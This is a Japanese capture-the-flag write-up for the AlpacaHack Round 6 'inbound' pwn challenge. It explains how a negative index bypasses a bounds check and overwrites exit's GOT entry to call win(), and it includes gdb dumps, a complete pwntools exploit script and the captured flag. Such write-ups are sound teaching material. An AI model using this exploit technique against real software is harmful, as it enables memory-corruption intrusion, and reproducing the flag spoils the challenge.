- Source: AlpacaHack Round 6 (pwn)
- Author: ptr-yudai
int型配列に値をセットすることができるバイナリファイルが与えられる。win関数を呼び出せば良い。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int slot[10];
/* Call this function! */
void win() {
char *args[] = {"/bin/cat", "/flag.txt", NULL};
execve(args[0], args, NULL);
exit(1);
}
int main() {
int index, value;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("index: ");
scanf("%d", &index);
if (index >= 10) {
puts("[-] out-of-bounds");
exit(1);
}
printf("value: ");
scanf("%d", &value);
slot[index] = value;
for (int i = 0; i < 10; i++)
printf("slot[%d] = %d\n", i, slot[i]);
exit(0);
}
まずはchecksecする。Partial RELROでcanaryとPIEがない。
$ checksec --file=inbound
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 43) Symbols No 0 1 inbound
プログラムを見て気になるのはslot
がグローバル変数になっていることと、index
のscanfで10より大きい数は弾かれるが負数は通ってしまうこと。よって、(今回はFull RELROではないので)負数を入力することでslot
の手前の領域を上書きすることができる。
slot
の手前に何があるのかをgdbで確認してみる。
gdb-peda$ p &slot
$2 = (<data variable, no debug info> *) 0x404060 <slot>
gdb-peda$ x/-32wg 0x404060
0x403f60: 0x0000000000000001 0x000000006ffffff0
0x403f70: 0x0000000000400568 0x0000000000000000
0x403f80: 0x0000000000000000 0x0000000000000000
0x403f90: 0x0000000000000000 0x0000000000000000
0x403fa0: 0x0000000000000000 0x0000000000000000
0x403fb0: 0x0000000000000000 0x0000000000000000
0x403fc0: 0x0000000000000000 0x0000000000000000
0x403fd0: 0x0000000000000000 0x00007ffff7db4dc0
0x403fe0: 0x0000000000000000 0x0000000000403e08
0x403ff0: 0x00007ffff7ffe2e0 0x00007ffff7fd8d30
0x404000 <puts@got.plt>: 0x0000000000401030 0x0000000000401040
0x404010 <printf@got.plt>: 0x0000000000401050 0x0000000000401060
0x404020 <__isoc99_scanf@got.plt>: 0x0000000000401070 0x0000000000401080
0x404030: 0x0000000000000000 0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>: 0x00007ffff7fa6780 0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>: 0x00007ffff7fa5aa0 0x0000000000000000
これはGOT (Global Offset Table) といい、動的リンク、例えばlibcのような外部ライブラリの関数を呼び出す際に使われる関数ポインタなどを格納する領域らしい。ここを書き換えることができるので、GOT Overwriteによるwin関数呼び出しが可能。
slot
への代入後に呼び出される関数はprintfとexitがある。
slot[index] = value;
for (int i = 0; i < 10; i++)
printf("slot[%d] = %d\n", i, slot[i]);
exit(0);
ちなみに、一度呼び出された関数はアドレスが解決される。libc内のアドレスは一般的に6byteだが、scanfで書き込むのはint型(4byte)なので既に解決されているprintf関数のGOTを上書きしてもwin関数のアドレスを書き込めない。
$ x/-32wg 0x404060
0x403f60: 0x0000000000000001 0x000000006ffffff0
0x403f70: 0x0000000000400568 0x0000000000000000
0x403f80: 0x0000000000000000 0x0000000000000000
0x403f90: 0x0000000000000000 0x0000000000000000
0x403fa0: 0x0000000000000000 0x0000000000000000
0x403fb0: 0x0000000000000000 0x0000000000000000
0x403fc0: 0x0000000000000000 0x0000000000000000
0x403fd0: 0x0000000000000000 0x00007ffff7db4dc0
0x403fe0: 0x0000000000000000 0x0000000000403e08
0x403ff0: 0x00007ffff7ffe2e0 0x00007ffff7fd8d30
0x404000 <puts@got.plt>: 0x0000000000401030 0x00007ffff7e12fe0
0x404010 <printf@got.plt>: 0x00007ffff7deb6f0 0x0000000000401060
0x404020 <__isoc99_scanf@got.plt>: 0x00007ffff7ded090 0x0000000000401080
0x404030: 0x0000000000000000 0x0000000000000000
0x404040 <stdout@GLIBC_2.2.5>: 0x00007ffff7fa6780 0x0000000000000000
0x404050 <stdin@GLIBC_2.2.5>: 0x00007ffff7fa5aa0 0x0000000000000000
以上より、exitのGOTを上書きするという方針で行く。exitのGOTを上書きするためにはindexの値が必要だが、これはpwntoolsでそれぞれのアドレスを取ってきてその差分を4(int型のサイズ)で割ることで求められる。
slot = elf.symbols["slot"]
exit = elf.got["exit"]
index = (exit - slot) // 4
print("index:", index) # -14
最終的なpayloadはこうなる。valueはint型なのでアドレスをそのまま渡す必要があることに注意。
#!/usr/bin/env python3
# -*- coding:utf-8 -*
from pwn import *
from sys import argv
context.log_level = "debug"
chall = "./inbound"
elf = ELF(chall)
if len(argv) >= 2 and argv[1] == "remote":
p = remote("34.170.146.252", 57285)
else:
# p = gdb.debug(chall, '''
# set follow-fork-mode parent
# ''')
p = process(chall)
# offset
slot = elf.symbols["slot"]
exit = elf.got["exit"]
index = (exit - slot) // 4
print("index:", index) # -14
# GOT Overwrite
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("value: ")
p.sendline(str(elf.symbols["win"]))
p.interactive()
flagが得られた。
Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}